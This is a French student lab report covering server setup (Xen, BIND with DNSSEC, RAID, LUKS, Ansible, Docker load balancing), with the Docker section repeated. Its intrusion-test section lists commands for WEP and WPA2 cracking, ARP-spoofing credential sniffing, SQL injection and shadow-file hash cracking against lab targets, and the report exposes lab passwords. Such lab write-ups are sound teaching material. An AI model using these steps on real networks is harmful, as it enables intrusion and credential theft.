Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T14:58:57Z

Psanchez : /* Création et configuration de la machine virtuelle */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

